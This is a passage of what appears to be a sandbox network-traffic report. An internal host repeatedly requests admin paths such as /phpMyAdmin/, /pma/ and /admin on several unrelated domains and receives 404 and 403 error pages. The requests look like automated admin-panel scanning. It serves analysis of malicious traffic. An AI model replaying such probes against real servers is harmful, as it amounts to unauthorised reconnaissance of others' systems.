Dec 2, 2023 18:04:44.049057961 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:32 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:44.049072027 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	62127	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.730997086 CET	232	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.879751921 CET	637	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:43 GMT Server: Apache Set-Cookie: vsid=926vr4490822838450298; expires=Thu, 30-Nov-2028 17:04:43 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 36 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (26)</h3> ...- 149.18.24.110---></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	62319	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.811162949 CET	232	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.967448950 CET	639	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:43 GMT Server: Apache Set-Cookie: vsid=929vr449082283924136028; expires=Thu, 30-Nov-2028 17:04:43 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 39 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (29)</h3> ...- 149.18.24.110---></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	61714	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.859900951 CET	217	OUT	GET /pma/ HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.188466072 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:43 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	61995	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.898677111 CET	218	OUT	GET /admin HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.235652924 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:32 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:44.235672951 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	62512	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:44.014111042 CET	223	OUT	GET /admin HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.167614937 CET	636	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:44 GMT Server: Apache Set-Cookie: vsid=921vr449082284121400791; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 31 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (21)</h3> ...- 149.18.24.110---></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	62625	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:44.039053917 CET	232	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:44.209558010 CET	639	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Dec 2023 17:04:44 GMT Server: Apache Set-Cookie: vsid=935vr449082284161533626; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Content-Length: 301 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 33 35 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (35)</h3> ...- 149.18.24.110---></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	62572	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:44.197232962 CET	226	OUT	GET /admin HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
